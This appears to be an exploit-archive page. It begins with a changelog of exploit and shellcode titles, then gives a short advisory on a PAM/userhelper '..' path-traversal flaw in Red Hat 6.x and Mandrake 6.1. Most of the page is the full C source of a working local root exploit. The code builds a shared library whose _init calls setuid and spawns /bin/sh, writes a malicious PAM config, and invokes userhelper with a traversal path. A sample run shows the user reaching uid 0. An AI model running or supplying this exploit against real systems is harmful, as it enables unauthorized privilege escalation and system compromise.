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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
60 lines
No EOL
2.8 KiB
C
60 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/913/info
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Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.
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This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.
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/*
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* pam-mdk.c (C) 2000 Paulo Ribeiro
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*
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* DESCRIPTION:
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* -----------
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* Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
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* exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
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* I created this C program based on it which exploits PAM/userhelper
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* and gives you UID 0.
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*
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* SYSTEMS TESTED:
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* --------------
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* Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
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*
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* RESULTS:
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* -------
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* [prrar@linux prrar]$ id
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* uid=501(prrar) gid=501(prrar) groups=501(prrar)
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* [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
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* [prrar@linux prrar]$ ./pam-mdk
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* sh-2.03# id
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* uid=0(root) gid=501(prrar) groups=501(prrar)
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* sh-2.03#
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main(int argc, char *argv[])
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{
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FILE *fp;
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strcpy(argv[0], "vi test.txt");
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fp = fopen("abc.c", "a");
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fprintf(fp, "#include<stdlib.h>\n");
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fprintf(fp, "#include<unistd.h>\n");
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fprintf(fp, "#include<sys/types.h>\n");
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fprintf(fp, "void _init(void) {\n");
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fprintf(fp, "\tsetuid(geteuid());\n");
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fprintf(fp, "\tsystem(\"/bin/sh\");\n");
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fprintf(fp, "}");
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fclose(fp);
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system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
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system("chmod 755 abc.conf");
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system("gcc -fPIC -o abc.o -c abc.c");
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system("ld -shared -o abc.so abc.o");
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system("chmod 755 abc.so");
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system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
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system("rm -rf abc.*");
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} |